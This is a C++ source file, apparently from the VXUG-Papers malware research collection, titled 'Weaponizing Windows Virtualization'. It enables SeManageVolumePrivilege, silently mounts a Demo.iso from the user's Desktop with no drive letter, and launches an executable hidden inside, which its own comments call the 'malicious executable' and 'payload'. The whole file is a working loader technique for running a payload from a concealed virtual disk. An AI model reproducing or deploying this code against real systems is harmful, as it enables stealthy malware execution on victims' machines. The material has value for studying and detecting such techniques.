VXUG-Papers/Weaponizing Windows Virtualization/src.cpp
2020-10-11 00:37:56 -05:00

212 lines
7.5 KiB
C++

#include <Windows.h>
#include <virtdisk.h>
#include <stdio.h>
#include <initguid.h>
#include <sddl.h>
//necessary includes + PEB definition
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
PPEB RtlGetPeb(VOID);
#define DEFAULT_DATA_ALLOCATION_SIZE (MAX_PATH * sizeof(WCHAR))
int wmain(VOID)
{
DWORD dwError = ERROR_SUCCESS;
VIRTUAL_STORAGE_TYPE VirtualStorageType = { 0 };
OPEN_VIRTUAL_DISK_PARAMETERS Parameters;
ATTACH_VIRTUAL_DISK_PARAMETERS AttachParameters;
HANDLE VirtualObject = NULL, hToken = NULL;
WCHAR lpIsoPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
WCHAR lpIsoAbstractedPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
PPEB Peb = (PPEB)RtlGetPeb();
static GUID VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX = { 0xEC984AEC ,0xA0F9, 0x47e9, 0x901F, 0x71415A66345B };
LUID Luid = { 0 };
TOKEN_PRIVILEGES Tp = { 0 };
PSECURITY_DESCRIPTOR Sd;
DWORD dwData = DEFAULT_DATA_ALLOCATION_SIZE;
STARTUPINFOW Info = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };
//make sure we're on Windows 10
if (Peb->OSMajorVersion != 0x0a)
goto FAILURE;
//get userprofile e.g. %SystemDrive%\Users\{username}
if (GetEnvironmentVariableW(L"USERPROFILE", lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == 0)
goto FAILURE;
else //append \\desktop\\demo.iso if successful
wcscat(lpIsoPath, L"\\Desktop\\Demo.iso");
//get thread tokens
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
{
if (!ImpersonateSelf(SecurityImpersonation))
goto FAILURE;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
goto FAILURE;
}
//see if we have the privilege to manage volumes
if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
goto FAILURE;
Tp.PrivilegeCount = 1;
Tp.Privileges[0].Luid = Luid;
Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//get SeManageVolumePrivilege
if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
goto FAILURE;
VirtualStorageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_ISO;
VirtualStorageType.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX;
Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;
//open iso file
if(OpenVirtualDisk(&VirtualStorageType, lpIsoPath,
VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO,
OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters,
&VirtualObject) != ERROR_SUCCESS)
{
goto FAILURE;
}
//attach to harddisk with no drive letter/path
AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
if (AttachVirtualDisk(VirtualObject, 0,
ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER,
0, &AttachParameters, 0) != ERROR_SUCCESS)
{
goto FAILURE;
}
//get physical path
if (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
goto FAILURE;
else //if we are able to get physical path, append payload exe that we know is inside of iso file
wcscat(lpIsoAbstractedPath, L"\\Demo.exe");
//run malicious executable
if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
goto FAILURE;
//close everything
if (VirtualObject)
CloseHandle(VirtualObject);
if (hToken)
CloseHandle(hToken);
return ERROR_SUCCESS;
FAILURE: //generic error handling routine, get last error and close any handles that may be open
dwError = GetLastError();
if (VirtualObject)
CloseHandle(VirtualObject);
if (hToken)
CloseHandle(hToken);
return dwError;
}
PPEB RtlGetPeb(VOID)
{
return (PPEB)__readgsqword(0x60);
}